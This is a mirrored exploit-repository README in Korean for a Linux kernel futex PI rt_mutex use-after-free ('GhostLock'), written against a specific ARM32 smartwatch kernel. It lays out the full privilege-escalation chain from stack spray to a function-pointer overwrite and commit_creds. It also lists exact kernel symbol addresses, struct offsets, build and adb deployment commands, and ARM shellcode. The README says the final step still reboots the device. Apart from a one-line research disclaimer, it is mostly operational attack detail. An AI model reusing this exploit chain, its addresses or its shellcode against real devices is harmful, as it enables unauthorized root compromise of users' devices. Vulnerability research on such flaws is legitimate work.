Exploit for ghostlock

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GITCHW-GHOSTLOCK-CVE-2026-43499
# CVE-2026-43499 (GhostLock) — ARM32 커널 권한 상승 연구

Linux 커널 futex PI rt_mutex Use-After-Free 취약점 연구 및 **Huawei Watch 4 Pro (MDS-AL00)** , Snapdragon SW5100, armv7l, 커널 5.4.210을 대상으로 한 익스플로잇 개발.

## 취약점

kernel/locking/rt_mutex.c의 `remove_waiter()`는 프록시 잠금 롤백 과정에서 `waiter->task` 대신 `current`를 잘못 사용하여 웨이터 태스크의 `pi_blocked_on`을 지우지 못합니다. 그 결과 웨이터의 커널 스택 프레임이 해제된 뒤에도 `task_struct`에서 스택에 할당된 `rt_mutex_waiter`를 가리키는 댕글링 포인터가 남습니다 — 전형적인 스택 Use-After-Free입니다.

## 익스플로잇 전략

  1. **댕글링 포인터** — 세 개의 스레드에 걸쳐 `futex(FUTEX_CMP_REQUEUE_PI)`를 통해 EDEADLK 롤백을 트리거합니다. 웨이터의 `pi_blocked_on`은 해제된 스택을 가리킵니다.
  2. **스택 스프레이(스탬프)** — `prctl(PR_SET_NAME)`(옵션 15, 권한 없음)을 사용하여 제어된 15바이트 데이터를 커널 스택에 복사해 가짜 웨이터의 `task`/`lock`/`prio` 필드를 덮어씁니다.
  3. **쓰기 프리미티브** — `sched_setattr()` 호출이 PI 체인 워크를 트리거합니다. 가짜 웨이터는 커널 `file_operations` 구조체와 겹치는 위조된 `rt_mutex`에 삽입됩니다. 레드-블랙 트리 삽입이 웨이터의 커널 스택 주소를 `fops->unlocked_ioctl`에 기록합니다.
  4. **코드 실행** — 위치 독립 ARM 셸코드로 웨이터를 다시 스탬프합니다. 모든 사용자가 접근 가능한 캐릭터 디바이스를 열고 `ioctl()`을 호출하면, 덮어쓴 `unlocked_ioctl` 포인터를 통해 실행 가능한 커널 스택의 셸코드로 디스패치됩니다.
  5. **권한 상승** — 셸코드가 `commit_creds(waiter)`를 호출하며, 여기서 웨이터의 첫 번째 필드(`rb_insert_color`가 설정)는 uid/gid = 0인 가짜 `struct cred`를 구성합니다.



## 현재 상태

  * UAF 트리거: **동작 확인됨** (기기에서 검증됨)
  * prctl을 통한 스택 스탬프: **동작 확인됨**
  * 단일 커널 스택 주소 쓰기 프리미티브: **동작 확인됨** (`fops->unlocked_ioctl`을 웨이터 스택 주소로 덮어씀)
  * 커널 스택 실행 가능 확인됨 (BSS/스택 영역에 PXN/NX 없음)
  * 셸코드로의 ioctl 디스패치: **기기 재부팅 유발** — 조사 중 (Cortex-A7의 rb_insert_color / 체인 워크 경로에서 센티널 UNPREDICTABLE 명령 또는 레지스터 손상으로 추정)



## 대상 기기

## 주요 커널 주소

root@kitploit:~
    
    
    kernel base          0xC0008000
    syscall table        0xc0101264
    do_vfs_ioctl         0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
    commit_creds         0xc014cac8  (fast path, bx lr clean return)
    rt_mutex_enqueue     0xc019c660
    rb_insert_color      0xc104a918
    init_task            0xc1b11640
    init_cred            0xc1b17e60
    null_fops (/dev/null) 0xc141f5b0
    FAKE_LOCK            0xc141f5d4  (null_fops + 0x24)
    write target         0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)
    

## 저장소 구조

root@kitploit:~
    
    
    .
    ├── README.md                  # This file
    ├── boot.img                   # Target device boot image (32 MB)
    ├── exploit/
    │   ├── ghostlock_arm32.c      # Main ARM32 exploit source
    │   ├── ghostlock_arm32.h      # Exploit definitions header
    │   ├── ghostlock_arm32        # Compiled static ARM binary
    │   ├── ghostlock_poc1.c       # Initial crash POC
    │   └── nebula_poc.c           # Nebula team reference POC
    ├── kernel/
    │   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
    │   └── kallsyms_parsed.txt    # Extracted kernel symbol table
    ├── analysis/                  # 670+ Capstone-based reverse engineering
    │   ├── *.py                   # scripts and disassembly outputs used
    │   └── *.txt                  # during the research process
    └── references/
        ├── ghostlock/             # Earlier exploit iterations (PoC through
        │   ├── src/               # tracepoint/cred/oneplus variants)
        │   ├── bin/               # Compiled earlier versions
        │   ├── old/               # Initial crash PoCs
        │   ├── README.md
        │   └── RESEARCH_NOTES.md
        └── ref_tc3650/            # TC3650 ARM32 reference exploit materials
    

## 빌드

root@kitploit:~
    
    
    arm-linux-gnueabihf-gcc -static -O2 -o ghostlock_arm32 ghostlock_arm32.c -lpthread
    

## 실행

root@kitploit:~
    
    
    adb push ghostlock_arm32 /data/local/tmp/
    adb shell chmod +x /data/local/tmp/ghostlock_arm32
    adb shell /data/local/tmp/ghostlock_arm32
    

## 셸코드

waiter+0x18에 스탬프되는 12바이트 위치 독립 ARM Thumb 셸코드:

root@kitploit:~
    
    
    sub r0, pc, #0x20      @ r0 = waiter (fake cred), PC-relative
    ldr pc, [pc, #-4]      @ jump to commit_creds
    .word 0xc014cac8       @ commit_creds address
    

`commit_creds()` 고속 경로는 `current->cred = r0`를 기록한 뒤 `bx lr`을 통해 `do_vfs_ioctl`로 복귀하며, 이후 정상적으로 사용자 공간으로 반환됩니다.

## file_operations 레이아웃 참고 사항

이 벤더 커널의 `struct file_operations`는 오프셋 +0x24(`poll`과 `unlocked_ioctl` 사이)에 4바이트 추가 필드가 있어, 표준 Linux 5.4와 비교하여 이후의 모든 멤버가 4바이트씩 밀립니다:

root@kitploit:~
    
    
    +0x04 llseek        +0x20 poll
    +0x08 read          +0x24 <vendor extra>
    +0x0c write         +0x28 unlocked_ioctl
    +0x10 read_iter     +0x2c compat_ioctl
    +0x14 write_iter    +0x30 mmap
    +0x18 iterate       +0x38 open
    +0x1c iterate_shared +0x40 release
    

이는 ashmem 및 null fops 핸들러를 디스어셈블하여 확인되었습니다.

## 면책 조항

이 저장소는 **보안 연구 및 교육 목적으로만** 제공됩니다. 소유하지 않았거나 테스트 권한이 없는 기기에는 이러한 기법을 사용하지 마십시오.